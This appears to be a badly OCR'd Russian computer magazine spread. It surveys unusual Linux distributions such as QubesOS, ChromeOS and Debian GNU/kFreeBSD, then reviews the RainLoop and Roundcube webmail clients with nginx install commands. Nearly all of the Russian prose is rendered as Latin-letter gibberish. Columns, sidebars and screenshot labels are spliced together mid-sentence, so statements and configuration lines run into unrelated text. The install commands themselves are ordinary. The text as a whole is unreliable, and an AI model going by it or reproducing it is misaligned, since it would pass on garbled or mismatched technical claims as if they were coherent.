JaHHy10 PYHKUMOHANMBHOCTb MOXHO MCMoNb30BaTh Ans Obl- N2
CTPOro pasBopayvBaHus AUCTPUOYTUBA, NEPEKSIIoHeHNs MeXAay MpuHuMn paspenexns
COCTOSIHUSIMW, MOXHO BGbICTPO NEPEHOCUTL CUCTEMY MeXAy Pur3n- QubesOS Ha AOMEHbI
()
i —

ISOLATION PROVIDER (XEN, HYPER-V, etc)

UsbvM NetVM

Personal
ZLone

SYSTEM DOMAINS

USER DOMAINS ("ZONES")

User apps & files
are only inside AppVMs

= No user apps or files here!

= Might not have full rights to VM
management & policy configuration

« No network!

GUI Admin
Domain Domain

VM Management

& policy enforcement
= No network here

- Ultimately trusted

Trusted Window Manager & GUI daemon
= User logins here, keyboard & mouse control
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4eCKUMW UNN BUPTYasbHbIMW MaLLMHaMK, pa3Bopa4mBaTh kiacre-
pbl 1 MHOroe apyroe. Kpome Toro, 6narogaps MeHeaxxepy nake-
ToB NixOS rapaHTUpyeT LenoCTHOCTb CUCTEMbI MPU 0BHOBNEHUM
1 faxe No3BOSieT OTKATUTb ee K NpeablayLLeMy COCTOSIHMIO.

Takoe BO3MOXHO MOTOMY, 4TO padHble BepCcUn (Mnmnm cOopku)
O[HOrO MakeTa WMET Pa3nnyHble MYyTW PACMOJSIOKEHUS B CU-
cTemMe BHYTpM Karasiora /nix/store n uaeHTueuumpyoTcs cucre-
MOW1 Mo XeLly, Tak YTO OBGHOBMIEHNE — 3TO BCEr0 NMLb onepaums
Mo BblKA4MBaHUIO HOBbLIX BEPCUI MAKeTOB, UX Pas3BOpayMBaHUIO
MO YHUKANILHOMY MYTU U «NEePEKSTIOHEHNIO» CUCTEMbI HA UX UCMOSb-
30BaHue. HYKTO He 3anpeLuaeT B 060/ MOMEHT NEPEKOYNTLCS
o6partHo. KocBeHHO Takoi noaxop pelsaeTt npobnemy DLL Hell,
NO3BONSIET OTKATLIBATL MPUIOXEHUS K MPOLLLIM BEPCUSIM U1, KO-
HEeYHO e, ycTaHaB/MBaTb [BE BEPCUM OAHOW CODTUHBI PAOOM
ApYr C OpYrom.

NixOS HeBepoOsATHO MHTepecHas cuctema, U 1 PeKoMeHaylo
KaXaoMy, KTO HepaBHOAYLLEH K Linux, 06s13aTenbHO ee nonpo6o-
BaTb. A Mbl MAEM fasnblie, Ha ovepean QubesOS n ee BUpTyanb-
Hble OKPYXEHMS.

QUBESOS UJIN XEN KAKOCHOBA AJNIA 0OC

B pasHble BpemeHa NnpeanpvHMManoch MHOXECTBO MOMbITOK CO3-
AaTb 3alMLLEHHYIO OMEPaLMOHHYI0O CUCTEMY Ha OCHOBE TEXHO-
JNIOMNIA N30AAUMK U BUPTYanu3aumm npunoxeHnin. B ceoe Bpems
B pamkax npoekrta Syngularity aTum 3aHumanach gaxe Microsoft,
O[IHAaKO HW OAHA M3 MOMbITOK HEe yBeHYanach ycnexom. Kak 6bl xo-
poLwmr HU BbiNn naewn, 3anoxeHHblie B OC, noytn B 100% cnyvaes
OHW CTaHOBW/INCb «KEPTBOW BTOPON CUCTEMbI» — MnepeTalmnTb
103epoB 1 pPa3paboTyMKOB Ha HOBYIO NIATGOPMY He YAaBaioCh.

Mpoekt QubesOS (gubes-0s.0rg), HayaTbli W3BECTHLIM
nonbCKnUM  security-akcneptom WMoanHoW PyTkoBckon (Joanna
Rutkowska), BbIrOAHO OTAMHaeTcs Ha nx poHe Tem, 4To npeanara-
€T MCNnosib30BaTh AJ19 NocTpoeHus 6esonacHoii OC yxe cyLecTBy-
oLme paspaboTkm, 6e3 He0BX0AMMOCTU TIOMaTb COBMECTUMOCTb
C NPUIOXEHUSIMU, ApaiBepamMu 1 C HyNsi IMcaTb MUIMOHbI CTPOK
kona. QubesOS — 310 BCcero nmuwb Linux-aAmMcTprubyTnB Ha OCHO-
Be Fedora, ofHako B OTAn4Me OT ApYrvMx OH U3Ha4YasIbHO NMOCTPOEH
Ha naee XeCTKon N3onaunmn NPUNoXeHU 1 KOMMNOHEHTOB CUCTe-
Mbl C MOMOLLbIO BUPTYanm3aumu.

B 0CHOBE CUCTEMBI IEXUT rMNEpPBM30P Xen, MOBEPX KOTOPOro
3anyckaeTcsi HECKOJSIbKO BUPTYaslbHbIX MalUMH (OOMEHOB), KaX-
[asi N3 KOTOPbIX OTBETCTBEHHA 3@ BbINOJSIHEHWE CBOE CUCTEMHON
byHKuMKn. B oTaenbHbIX JOMEHax 34echb paboTaloT ceTeBoii CTek
(Bkntoyas Habop OpaliBepoB), GainoBble CUCTEMbI U ApaiBepbl
RAID, a Takxe rpaduyeckuii ctek, BkniovatoLmii B cedbs X-cepsep.
Jlns 3anycka NpuIoXeHWn TakKe NPUMEHSIIOTCS OTAeSIbHble AOMe-
Hbl, HO HE MO OAHOMY Ha KaX[0e U3 HUX (MHa4ye cuctema ymepna
Obl OT GbIcTpOro ncyepnaHus O3Y), a pasaeneHHble Ha «rpynnbl
no MHTepecam»: pa3BneyeHusi, paboTta, MHTepHeT-6aHKUHI 1 Tak
nanee.

KaHan nepepayn OaHHbIX MexXAy AOMeHamun 3almdpoBaH
1 UMEET CTPOrne orpaHnyeHns Ha Tmn nepegaBaemon nHhopma-
LN 1 BO3MOXHbIX aApecaTtoB. OTO 3HAYUT, HaNpuMep, 4To ecnmn
3/10YMbILLIEHHWK HAnaeT Aplpy B CETEBOM cTeke Linux n cmoxeT
NonyyYnTb AOCTYMN K CETEBOMY JOMEHY, TO OH haKTUYeCKM OKaxeT-
Cs1 3aMepT BHYTPU HEro, Tak Kak BCe, YTO MOXET AenaTb CETEBOMN
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[OMeH, — 310 06pabaTbiBaTh 3aNPOChl HA CETEBLIE NMOAKIIIOYEHUS
1 nepefady AaHHbIX OT aBTOPU30BaHHbLIX AOMEHOB. 3TO He cnaceT
OT CHUdMHra n cnyduHra, Ho 3aLUTUT AaHHbIE, XPaHSALLMECS B 00~
MEHe-XpaHunumLe.

B kauectBe rpaduueckont cpeapl B QubesOS ncnonb3yetcs
KDE, moaunduumpoBaHHas Tak, 4Tobbl CKPbITb OpraHu3aumio pa-
60Tbl cucTeMbl OT a3 nonb3oBatens. MNpunoxeHus asToMartu-
4YeCcKM 3anyckaloTCs B pasdfiMyHbIx JOMEHax, a cpeja ucnonbadyet
paMKmM OKOH pa3Horo LgeTa ANt MHAMKALUMN TOro, B KAKOM JIOMEHE
paboTaeT NpPUNoXeHue.

Glendix ( ) — nonbiTka co3aarb Linux-
ONCTPUOYTMB Ha OCHOBE naeii Plan 9.

Tiny Core Linux ( ) — MONHOLLEHHbIN
omcTprbyTne pas3mepom 10 M6.

Maui ( ) — ONCTPMOYTMB Ha OCHOBE

INFO

MHTEpECHO, 4TO KpOME

B HacTosiwee Bpems paspabotyinkn QubesOS rotoBsiT K Bbl- Debian GNU/kFreeBSD Wayland n rpaguyeckoii cpeabl Hawaii.
nycky BTopoi penns cuctemsl (RC2 yxe OOCTyrneH), B KOTOPOM CYLL,ECTBYET TakXe nopt CoreOS ( ) — MUHUMAJIUCTUHHBIV CEPBEP-
nosiBATCA OTAENbHbIN gomeH ans Windows-npunoxexnuin n USB- Ha Mukposapo Hurd, HblA ANCTPUOBYTUB ON1A 3arycka OAHOMO NPUIOXEHNS.
nomeH ana 6esonacHol paboTbl ¢ USB-ycTpoiicTBamu. 0[JHaKO ero CoCTosiHMe Damn Vulnerable Linux ( ) —

OCTaBNAET Xenarb Camblil ya3BUMBIV ANCTPUOYTUB B MUpPE.

CHROMEOS NyyLero. Stali ( ) — OMCTPUBYTUB Ha ocHoBe naeun KISS
ChromeOS — 0auH 13 caMbIX HETUMUYHBIX, CTPAHHbIX N HEOAHO- OT N3BECTHOro npoekTa Suckless.
3HayHbIX AMCTpnbyTMBOB Linux. [ns GonblMHCTBA NOAEN 3TO
BCEro nuib Gpay3ep, paboTalowmii NOYTU Ha rOJIOM Xeneae,
HO [i1151 TOro, KTO 3HAKOM € Linux, 3T0 NONHOLEHHAs onepauyoHHast
cucTema, B KOTOPOU €CTb MHOXECTBO CTaHAAPTHbIX YePT OObI4HbIX
ONCTPUOYTUBOB, NEPEeMEXAIOLLMXCS C COOCTBEHHbIMU AopaboTka-
MU, caenaHHbIMK KomnaHuein Google. DEBIAN GNU/KFREEBSD, UJIU <AMOYEMY Bbl U HET?»

Mo 6onbwomy cyety ChromeOS — 3TO CWIBHO ype3aHHas
Ubuntu, nosepx koTopoi paboTtaeT rpaduyeckas cpena, OCHO-
BaHHas Ha HapaboTkax npoekTta Chromium. 3a 3arpysky CMCTEMbI
oTBevYaeT Bce TOT xe yOyHToBCKuin Upstart, ogHako B cuny Heob-
XOAMMOCTU 3anycka ropasfio MeHbLLErO KONMYEeCTBa KOMMNOHEHTOB
xonoaHbii ctapt ChromeOS npoucxoauT 3HauMTenbHO GbicTpee
(6ykBanbHO 3a cekyHAy). 3a rpaduky 3aeck oTBedaeT X.org, HO 1C-
NONb3YeTCst OH UCKIOYUTENIBHO C LieNbio NPaBUSIbHOM NOAAEPXKKN
obopyaoBaHMsa 1 YCTPOWCTB BBOAA, CaMO M3006paxeHue Mnoytu
BCerga uaet B 06xon X-MpoTokosia HampsiMylo B Buaeoagantep
(noaTomy Bckope MKebl ByayT 3aMmeHeHbl Ha Wayland nnu Mir).

M3 Opyrnx KOMMOHEHTOB TakXe MCMnonb3dyeTcs rpaduyeckas

Ouctpubytne Debian Bcerga otnmyancs WMPOKON NoanepX ko
camblX pasdHblX KOMMbIOTEPHbIX apxuTekTyp. OH cnocobeH pabo-
Tatb Ha ARM, MIPS, PowerPC, Sparc 1 MHOXecTBe Apyrux odu-
LumanbHO U HeodULUManbLHO NOAAEPXNBAEMbIX MALUMH 1 NPOLLEC-
copoB. OagHaKko 0aMH M3 camblX MHTepecHbIX NopToB Debian Gbin
BbIMOJIHEH... Ha aapo FreeBSD.

Mo ceoeti cytn Debian GNU/kFreeBSD — 370 TOT e camblit
ANCTpubyTMB, HO MOAMGULIMPOBAHHBIA ANa 3arnycka Ha sape
FreeBSD. 3poecbk ecTb NpuBbIYHLIA apt-get, Habop KoHbUrypaTo-
poB, cucTema uHuumannsaummn B ctune System V, penoautopumn
6uHapHbIx nakeToB, KDE n GNOME, Tak 4To 45191 KOHEYHOro nosib-
3oBatesnia pasHuua 6yaeT abCcoioTHO He BuaHa. 3ato cucagMuH

o6ubnunoteka Clutter, PAM, D-Bus, NTP, syslog un cron. Uoen na- HalpeT ans cebs MHOro MHTEPECHBIX MIIIOLIEK.

KETOB B cUCTEMe HeT, a Bce obHoBneHnst OC NpoucxoasT B XOAe OCHOBHOVI CMbICJ1 CYLLEECTBOBAHNS 3TOr0 NpoeKTa — NonayyYnTb

OTA-0GHOBNEHUSI «OAHMM KyCKOM». B xone o6HOBNEHus cuctema INFO BO3MOXHOCTb MCMNOb30BaTh TEXHONOrnn FreeBSD, HepocTynHble

HMKOrAA He nepes3anuncbiBaeTCst, @ BMECTO 3TOMO UCMOSb3yeT BTO- B aape Linux. K Takmm MOXHO OTHECTM HAaTMBHYIO NoaaepxKy ZFS,

POV CUCTEMHBI pa3aen, KOTOPbI NOC/e nepe3arpyskn CTaHOBUT- Bepcus 6pay3epa MOAYJIbHYIO noacucTemy Ans paboTbl C XPAHUINLLAMW AAHHbBIX

csl nepBbIM. Takum o6pasom, ChromeOS Bcerga MOXHO OTKaTUTb Chrome ans Windows 8 — GEOM, mopynbHyto ceTeByto noacuctemy Netgraph u, KoHe4YHO

K NpeablayLemMy COCTOSHUIO, @ camMo OOHOBIEHME HE MOXET YyOUTb 3T0 HE 4YTO MHOE, Xe, aTanoHHyio peanusauuio TCP/IP-cteka. Bce 310 gocTynHo

cuctemy. kak ChromeOS B MuHm- B Debian GNU/kFreeBSD BMecTe C NpPUBbLIYHBIMW MIIIOLLIKAMU
Bnaropgapsi OTCYTCTBMIO MHOTMMX CTaHAAPTHbIX KOMMOHEHTOB ariope. Debian.

Linux-aucTpubyTBOB 1 OPUEHTUPOBAHHOCTU HA UCMONIHEHUE UC-

KNoUMTENBHO Gpay3epHbix npunoxenuin, ChromeOS otnnyaercs BMECTO BbiIBOAOB

BbICOKOW YCTOMYMBOCTLIO K B3loMaM. Kak 1 B cnyyae ¢ HacTOsb-
HbiM Gpay3epoM, Kaxaoe Be6-NpuioXxeHve (Yutai: Bknaaka) uc-
NOMHSAETCS B COOCTBEHHOW NECOYHuLE, 4TO MO3BONSET MPenoT-
BpaTUTb KOMMPOMETALUMIO BCEA CUCTEMbI B TOM Cllyyae, ecnu 74
3N0YMbILLNIEHHVK HanZeT Ablpy B camoM Opay3epe. CUCTEMHbIN QubesOS: Tpu npunoxe-
pasnen Bceraa CMOHTMPOBAH TONbKO Ha YTeHue. [ns noaTBepx- HUSI B Pa3HbIX AOMEHaxX
[EHNS LLENOCTHOCTU CUCTEMbI B XPOMOYKax UCMOMb3yeTCsl MOAY b
TPM (Trusted Platform Module). N

B uenom ChromeOS — 370 He MOSMHOLIEHHas onepaumoHHas QubesO0S: GecLLOBHbIiA
cucteMa, a CKopee O4eHb HecTaHAapTHbIN AnMcTpubyTtms Linux, 3anyckK NpuIoXKeHun
4ero Henb3sa ckasarb, Hanpumep, 06 Android nnn Firefox OS. BWindows-gomene

Bonblue guctpmbyTnMBOB, XOPOLLMX 1 pasHbix! Linux yacTto ynpe-
KaloT B dparmeHTaumm, kotopasa cos3gaeTt 6osibune npobdnemMbl
Ons nosb3oBaTtenen, aAMMHOB U pa3paboTyMKOB MPUIOXEHUN.
OpHako MMEHHO dparMeHTaums U BO3MOXHOCTb cobpaTb CBOM
COOCTBEHHbIN KOHCTPYKTOP AenatT Linux Tem, 4em OH ABnseT-
csi. CerogHs Linux Be3ge — Ha cepBepax, B poyTepax, CMapT-
doHax, nnaHLeTax, B OrpOMHOM KOJIMYECTBE Pa3HbIX KUTANCKMX
1 He O4eHb nogenok. M noytr Bcerga aT1o pasHbint Linux, 3aTo4eH-
HbIlA NoA onpeaeneHHble 3a4a4m U NOAXOASALUNIA ANl KOHKPETHOWN
cuTyauunn. Ha[lelOCb, YTO AaHHaa CTaTbd MOMOXET Te6e Bbl6paTb
ONCTpUOYTMB NOA, CBOW UHAMBUAYANbHbIE 324344, 3
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N0YTOBbIV
JKCMIPECC ey sy

CerogHs Hepeako y 0HOro rnosib30BaTesNs cpasy HECKObKO YCTPOMCTB. OTO, HECOMHEHHO, YA00HO,
HO BbI3bIBAET M NMPOBIEMbI, KOTOPbIE PELLAITCA CUHXPOHU3ALMEN JAHHbIX UK Pa3MELLLEHNEM UX B 00-
nake. IMeHHO No3TOMY BEO-KIMEHThI NIEKTPOHHOM NOYTbl CHOBA CTAHOBATCA BOCTPEOOBaHHbLIMMU.
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RAINLOOP

RainLoop (rainloop.net) — nerkuin, coBpemeH-
HblA U KpacuBblli BEO-KIVEHT 3NeKTPOHHOI Mno-
YTbl, pa3paboTaHHbIi CreumanbHO C NPULENOM
Ha mManoe noTpebneHne NamaTu 1 NCNONb30BaHNE
Ha low-end cepBepax. Pacxopn pecypcoB He 3aBu-
CUT OT 06beMa NMOYTOBOrO ALLMKA, COOBLLEHUS NN
BJIOXEHWS, @ NO3ITOMY KaxApbli aKkTUBHbIA NMONb30-
Batesib TpebyeT HEMHOro NamsaTh, Aaxe B criyvyae
06paboTkn GonbluMX coobueHuii. Takoin addekT
OOCTUFHYT 3a CYET TOro, 4To BEO-KIMEHT He uc-
nonb3dyeT 6a3y AaHHbIX, a o6palLaeTcs HanpPsaIMyo
K annam no4YToBOro cepsepa n NpPocTo oTobpa-
XaeT umeroLmecs TaM NncbMa, 3arpyxas no mepe
HEeobXxoaANMOCTU.

BcTpoeHHasi cuctemMa KelmpoBaHusi No3BonseT
MOBbLICUTb O6LLLYI0 MPON3BOAUTENIBHOCTb U CHU3UTb
Harpy3ky Ha Be6 1 no4ToBble cepBepbl. XOTS B 3a-
BMCMMOCTSX yka3zaHa CYB/[, (MySQL, PostgreSQL,
SQLite...), oHa 3apencTByeTCs UCKTIOYUTENBHO
LN XpaHeHUs [aHHbIX KOHTakToB. RainLoop —
3TO UMEHHO BeO-KINEHT, B €ro 3a4a4n He BXoauT
HacTpolKa MOYTOBbIX CEPBEPOB W yMpaBfieHne
yyeTHbIMM 3anucsmu. Moatomy kakyto-nnbo 6asy
Y4€THbIX 3anucent RainLoop He ncnonb3yeT, nocne
HaCTPOMKN MOAKMOYEHUS K MOYTOBbLIM CEpBEpamM

[NoyToBbIV 9KCIPECC

nosb3oBaTeNb MOXET NOAKNOYNTLCS, yKa3aB CBOMN
JIOTWH 1 Naponb, Co3daHHble paHee. B HacTporikax
yXe ecTb npuesaska k Gmail, Yahoo, Outlook.com
1 gg.com. To ecTb daKkTUYeckn NOcse yCTaHOBKU
RainLoop nonb3oBatenu MoryT cpasy, 6e3 gonosn-
HUTENbHbIX HACTPOEK, MOAKIOYATLCA K 3TUM cep-
BEepaM, UCMonb3ysi CBOM y4yeTHble 3anucu. [oba-
BUTb JII060I CepBeP MOXHO 3a napy KINKoB. YTobbl
OrpaHNynTb NOAKIIOYEHNS K MOYTOBLIM CepBepam,
ncnonbaytotcs 6enble cnucku. Ho y Takoro noaxo-
02 eCTb Y MUHYC — HeNb3s 06beAVHUTL HECKOJbKO
ALLMKOB C Pa3HbIX CEePBEPOB 1 NoayyaTb K HUM [0-
CTyn C OAHOro MecTa, A5 KaX 40N y4eTHOMN 3anncu
noTpebyeTcst OTKPbITb CBOE OKHO.

Mopnepxueaetr IMAP- 1 SMTP-npoToKOsbI,
BKMoYaa 3awmiieHHslie SSL n STARTTLS. Bos-
MOXHO LWNGdPOBaHME COOOLLEHWI MNpY MOMOLLU
OpenPGP 1 ynpaBneHue kno4amv (MMNOPT 1 CO3-
[aHne HOBbIX).

WHTepdenc nokannsosaH. lMNpuyem 310 MOryT
ObITb Kak KOpropaTuBHbIe, Tak 1 NybnuyHble cep-
Bepbl. lopaepxmnBaloTcss MHOrve QYHKUMK Ha-
CcToNbHOro npunoxexnus drag and drop, ropsyne
KNaBuULLIK, aBTO3aBepLUEeHVe aJpecoB, BUPTyasb-
Hble Nanku, MMMNopPT 1 3KCNopT KoHTakToB (CSV, VCF
n vCard). MyHKTbl MEHIO MO3BONSAIOT MPOU3BECTU

YCTAHOBKA RAINLOOP B UBUNTU 14.04 LTS

HanucaH RainLoop Ha PHP, n ana ycrtaHoBku no-
TpebyeTcs, B NpUHLMNE, CTaHOAPTHbIA Habop: Be6-
cepsep (Apache, nginx, lighttpd, MS IIS nnu gpyroit)
¢ nogaepxkon PHP. ina PHP cnenyeTt ycTaHOBUTL
M aKTMBMPOBaTb PS4 paclwmpeHuin. To ecTb ka-
KNX-NM6o 0COBLIX 3HAHWI OIS ero Pa3BepTbIBaHMS
He notpebyetcsa. MouytoBbii SMTP/IMAP-cepBep
MOXeT ObiTb niobo 1 paboTatb Ha 3TOM Xe UIn
Opyron mawuvHe. Ero paseepTbiBaHWe Mbl paccma-
TpuBaTb He 6yaemM. CTaBvM NakeTbl 419 YAOBNETBO-
PEHUSA 3aBUCUMOCTEN:

$ sudo apt-get install curl libcurl3
libcurl3-dev php5-curl php5-mcrypt
php5-cli nginx php5-fpm

CkaymBaem apxvB C nocnegHeli Bepcuen, cos-
naem pabounii kKaTanor 1 pacnakoBbIBaEM apXuB:

$ wget -c http://repository.rainloop.«
net/v2/webmail/rainloop-latest.zip

$ mkdir /var/www/rainloop

$ cd /var/www/rainloop

$ sudo unzip ./rainloop-latest.zip

YcTtaHaBnmBaem BnagensLa u npasa o0CTy

sudo chown www-data:www-data -R «
/var/www/rainloop

sudo find . -type d -exec «

chmod 755 {} \;

sudo find . -type f -exec «

chmod 644 {} \;

Tenepb ocTanochk A06aBUTb B NQiNX HOBbIV CaNT:

$ sudo nano /etc/nginx/sites-available/
rainloop.conf

server {
server_name rainloop.example.org;

listen 80;

root /var/www/rainloop;
access_log /var/log/access.log;
error_log /var/log/error.log;
index index.php;

location / {
try_files $uri $uri/ <
/index.php?$query string;

)

location ~ \.php$ {
fastcgi_index index.php;
fastcgi_split_path_infoe
~(.+\.php) (. *)$;
fastcgi_keep_conn on;
include /etc/nginx/fastcgi_params;
fastcgi_pass unix:/var/run/«

Admin Panel (192.168.226.128)
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BCe Heobxoaumble onepauumn ¢ coobLeHneM: oT-
penakTMpoBaTtb, nepecnarb, NOMETUTb Kak crnam,
pacnevararb, cka4yatb B Buae eml-dainna.

MopoepxunBaetcs wuHTerpaums ¢ Facebook,
Google (Bknioyas Google Drive), Twitter n Dropbox.
B0O3MOXHOCTM pacLuMpsloTCs NpU NOMOLLM nnarv-
HOB. B noctaBke nmeetcs 15 nnarnmHos, ynpolia-
IOWNX MHTErpaumio C HEKOTOPLIMU MPUSTOXEHUSI-
MU 1 pobasnsiowmx GYyHKUMOHANBLHOCTL (6enblii
M YepHbIn cnucku, kanya u apyrue). Cpeom nna-
rmHoB npoekta ownCloud (apps.owncloud.com)
Takxe MOXHO HanTtu RainLoop (Apps — Enable
'RainLoop’). Te, KTO MCNONbL3YET OAHHYD CUCTEMY
Ans 06MeHa AaHHBIMU U X CUHXPOHM3aUMK, BEPO-
ATHO, OLLEHAIT 3TO, TaK Kak noaaepXuBaeTcsl BO3-
MOXHOCTb paboTbl B OLLHOM JOMEHE C TEXHONOrnen
eavHoro Bxoga SSO, 4TO 04eHb YA0BHO Kak Mosib-
30BaTeno, Tak 1 agMuHy (HeT fy6nmpoBaHus y4yeT-
HbIX 3anucei). BHewHWMn BUA, MeHAeTcs npu no-
Mo Tem. [locne ycrtaHoBku RainLoop nerko
obHoBnsIeTCA N3 aaMUHKK. YTOOblI NO3HAKOMUTLCS
C MHTEPdENCOM, MOXHO 3alTN Ha AEMOCTPaHNLY
npoekTa (demo.rainloop.net). PacnpocTtpaHseTtcs
non, cesobopHoi Creative Commons nuueH3uven,
Nno3BoNAOLLEl ero UCnonb30BaTb C HEKOMMepYe-
CKMMU LensiMun 6e3 OrpaHnyeHnii.

php5-fpm.sock;

fastcgi_param SCRIPT_FILENAME
$document_root
$fastcgi_script_name;

}
location ~ /\.ht {
deny all;

location 7~ /data {
deny all;
}

Mpun HeobxoaMMocTy noaktoyaem SSL, npume-
Pbl MOXHO NETKO HaUTW B UHTEPHETE. [enaem cant
aKTUBHbIM, CO34aB CUMBOJIMYECKYIO CCbINIKY B Sites-
enabled:

General Add Domain
Login
Branding
Contacts
Domains
Security
Social
Plugins

None
Packages

. 4 [ use short login form
Licensing <

About

i Test Connection = White List

Secure
None. B

[ use short login form
Use authentication

% Close

HacTtpoiika someHoB B RainLoop
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$ sudo 1n -s /etc/nginx/«
sites-available/rainloop.conf /etc/«
nginx/sites-enabled/rainloop.conf
HacTtpaneaem DNS-cepeep mnu nponucbliBa-

em B /etc/hosts cooTeeTcTBme IP-agpeca nmenun

y3na:

192.168.1.100 rainloop.example.org

Mepesanyckaem Be6-cepBep:

$ sudo service nginx restart

B npuHuune, ceityac MOXHO 3aiTV Ha CTPaHULLY
http://rainloop.example.org/ n nonpo6osarb noa-
KNOUYUTLCS K cBOeMy akkayHTy Gmail (HacTpoii-
KW ONsi HEero yxe ecTb), BCe AO/MKHO paboTarb.
AomuHKa HaxoguTcs no agpecy http://rainloop.
example.org/?admin, norMH 1 naponb Ans BXoda
admin n 12345. JJanee HaCTPOEK HEMHOrO, N OHMU,
B 06LLEM, LOMKHbI OblTb MOHATHLI 683 0COObIX MO-
SICHEHWIA — yKa3blBaeM 3bIK M0 YMONYAHWIO, IUMUT
Ha pasmep danna, MeEHSEM MNaposib MO ymMoya-
HMIO 1 Tak ganee. MNpocTo naem no BCcem BKIaaKam
1 npocmMarpueaem. Heobxoanmo fob6aBuTb AoMe-
Hbl, C KOTOPbIX KJIMEHTblI ByayT nonyyaTb nucbma.

[na atoro nepexogum B Domains, Haxunmaem Add
Domain n 3anonHsem paHHbie SMTP- u IMAP-
cepsepa: ums, IP-agpec 1 NopT, BO3MOXEH BbIOOP
3aLLUMLLEHHOrO COEAUHEHMsT U HacTpolika 6enoro
cnuvcka nonb3oBarenie, KOTopbiM ByaeT paspeLueH
poctyn. Ytobbl nonb3oBaTeslb PermcTpupoBasncst
6e3 ykasaHus JOMEHa, TOJIbKO MO JIOrMHY, Heob-
xoaMmo noctaButb dnaxok Use short login form
1 HAaCTPOUTb CTPaHMLYy BXxoda ¢ «JJoMeH no ymonya-
HWIO>». IHTerpaums ¢ coumanbHbIMU CETAMU HAcTpa-
nBaeTcs BO Bknaake Social. [Ins kaxnoro cepsuca
HacTpolikn cBOM, BCe NOAPOBHOCTU C NpuMepammu
1 agpecamu pacnucaHbl B 4OKYMEHTALMN.
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ROUNDCUBE

Roundcube (roundcube.net) — Be6-kAMEHT
Ons paboTbl C 3MEKTPOHHOM MOYTOM, NpenocTas-
NSIOLLNIA BO3MOXHOCTb NOAKIIIOYEHUS K MOYTOBbLIM
awmkam no npotokonam IMAP mn oTnpaBku co-
obueHnin yepes BHewwHuii SMTP. MpoekT ocHoBaH
B cepeanHe 2005 roga 1 nepBoHaYanbHO Npeno-
CTaBnaN BeCbMa CKPOMHbI PYHKUMOHAN no pa-
60Te ¢ email, HO CO BpeMeHeM ero BO3MOXHOCTH
NMOCTOSIHHO COBEPLUEHCTBOBAINCH, @ MPOAYKT U3-
6aBnancs ot aetckux 6onesHelr. B anpene 2014-ro
Bblwna Bepcus 1.0, MOSTOMY MOXHO CKasaTb,
41O pa3paboTka OCHOBHOMO (YHKLIMOHaNa 3aBep-
weHa. Roundcube npucywy, BeCcb GyHKLMOHAN Ha-
CTOJIbHOrO NPUNOXeHus, Bkatoyas drag and drop,
co34aHune 1 nepeHanpasfieHe MMCEM C BNOXEHN-
AMKW, nepcoHanbHble/obwue/rnobanbHble nanku,
paboTy C HECKONBbKMMW YY4ETHBIMU 3aMUCSMU OT-
npasutens n gomeHamu. CoobLeHns otobpaxa-
I0TCst B GpOpMe APEeBOBUAHOMO CNncka, BO3MOXHA
copTupoBka no niobomMy nono. MoxHO NOMeTUTb,
COXpaHWTb, pacrneyaratb COOOLLEHMs, MPOCMO-
TpeTb UCXOAHbIN TEKCT. B HAacTpoikax 04eHb MHOrO
BCSIKMX NMapameTpoB, KOTOPbIe NO3BOJISIOT cAenaTb

ndc

ncnosib3oBaHne Roundcube mMakcumanbHO KOM-
bOPTHBIM.

MossonseT noaknoyaTb adpPecHYl  KHUrY,
xpaHswytocs B LDAP, unu ucnonb3osarb nepco-
HaslbHble aApecHble KHWUrM. Peanun3oBaH nowck
Mo COOBLLEHNAM W KOHTaKTam, aBTOAOMOJSIHEHWE
appecoB. Ob6ecneuvBaeTca nonHas noaaepxka
MIME- n HTML-coob6weHuii. B kayecTtBe penak-
Topa ucnonbadyetcs TinyMCE, opdorpadusa npo-
BepsieTca npu nomowwm Googiespell nan Aspell.
Ona orpaHuyeHns [octyna peannsoBaHbl Chu-
ckn KoHTpons poctyna (ACL). Mmeetca nnarvH
Ons ynpaeneHus eunstpamu Sieve, COBMECTUMbIN
c Dovecot. Roundcube moxeT paboTaTb B BbICO-
KOHarpy>XeHHbIX Cpefax Ha HEeCKOJIbKUX cepBepax
¢ 6anaHcMpoBKOW Harpy3ku. [1ns yckopeHusi [OCTy-
na K nMcbMam UCMonb3yeTcs KeLuMpoBaHue.

AJAX-nHTepdeiic nepeseneH Ha 6onee yem 70
A3bIKOB, B CMINCKE €CTb PyCCKUIA (nokanuaaumen 3a-
HMMaeTCs KOMaHAa POCCUICKMX pa3paboTinNKoB —
roundcube.ru). BHEWHWA BUA MOXHO W3MEHUTb
npu nomowy wabnoHoB 1 ckuHoB. B Roundcube
peanndoBaH APIl-nHTepdeiic ans cosgaHus cob-
CTBEHHbIX MIarMHOB, PaCLLUNPSIOWNX ero GyHKLMO-

HanbHOCTb. Jns ynobcTeBa noucka M yCTAHOBKM
naarMHOB MCNoNb3yeTcs peno3uTopuin (plugins.
roundcube.net), B KOTOPOM AOCTYMHbI paclumpe-
HMS MO HECKOJIbKMM KJII0OYEBLIM BOMPOCaM — ay-
TeHTUdukauma (OTP, aByxdakTopHas), paboTta
C afIPECHO KHUIOM 1 cooBLEHMAMM (BbIBOA, NPea-
ynpexzaeHuii Ha pabounii cton, 6opbba co cnamom)
N HacTpolikn. He BCce nnarnHbl B peno3ntopumn Te-
rMPOBaHbl, MO3TOMY NMPW BbIGOPE HYXHOrO Jyuylle
nonb3oBarbcs nomckom. Hepeako Roundcube uh-
TerpupyeTtcst U B Apyrve npuioxeHus, Hanpumep,
B cucteme rpynnosoi pabotbl Kolab (kolab.org)
B KayecTBe MHTepderica ans pabotbl ¢ email nc-
Nonb3yeTCst UMEHHO OH.

BuinyckaeTtcs no nuuexHsnm GNU GPL. HanucaH
Ha a3bike PHP, CSS n XHTML. Ons xpaHeHus cny-
XebBHO MHdOopMaLMM MOXEeT Ucnonb3oBarb 6a3y
paHHbIX (PostgreSQL, MySQL, SQLite unn MS SQL).
Ans yctaHoBku notpebyeTtca noboli BeG-cepeep
¢ nogaepxkon PHP. MonHeii cnncok PHP-moaynen
MOXHO HaiTM Ha caiTe npoekTta. Cam npouecc
B 06LLEeM CTaHAapTeH A8 Nof0OHbIX MPUIOXKEHN,
€CTb Napa MOMEHTOB, HO OHW BCE XOPOLLO OMN1CaHbl
B [OKYMEHTaLMK.

HacTpoitkn Paznen

L Hacipoiien ] nonssosatenncknii nuTepdeiic
Bl Nanku I=

2 npodum

Bua nouTosors AuMKa

OtobpaxeHue cooBlueHuil

Kontaktol

E" Cozgarme coobuennii
I
i Ocobeie nanku

HacTpofiku cepaepa

n KHA MH

OCHOBHbBIE HACTPOHKH
Azsic

Yacosoii NoAc

BopraT spemetin
®opmat gatsl 24072014 ~
